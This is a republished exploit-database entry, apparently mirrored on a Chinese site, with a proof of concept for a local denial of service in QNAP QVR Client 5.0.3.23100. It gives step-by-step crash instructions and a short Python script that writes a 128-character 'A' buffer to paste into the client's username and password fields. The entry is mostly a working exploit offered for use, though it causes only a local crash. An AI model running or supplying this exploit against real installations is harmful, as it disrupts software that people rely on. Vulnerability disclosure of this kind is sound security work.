QNap QVR Client 5.0.3.23100 – Denial of Service (PoC) - 体验盒子

作者： Rodrigo Eduardo Rodriguez

日期： 2018-08-07

类别：

dos

平台：

windows_x86-64

来源：https://www.exploit-db.com/exploits/45162/

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# Exploit Title : QNap QVR Client 5.0.3.23100 - Denial of Service (PoC)

# Discovery by: Rodrigo Eduardo Rodriguez

# Discovery Date: 2018-08-06

# Vendor Homepage: http://www.qnapsecurity.com/n/en/

# Software Link : http://download.qnap.com/Surveillance/Utility/QNewMon5.zip

# Tested Version: 5.0.3.23100

# Vulnerability Type: Denial of Service (DoS) Local

# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:

# 1.- Run python code : python generatepaste.py

# 2.- Open generate.txt and copy content to clipboard

# 3.- Open QVR Client

# 4.- Direccion IP/Puerto -> 0.0.0.0 / 80

# 5.- Paste ClipBoard on "Nombre de Usuario" and "contraseña"

# 6.- Aceptar

# 7.- Crashed

#!/usr/bin/env python

# -*- coding: utf-8 -*-

buffer = "\x41" * 128

f = open ("generate.txt", "w")

f.write(buffer)

f.close()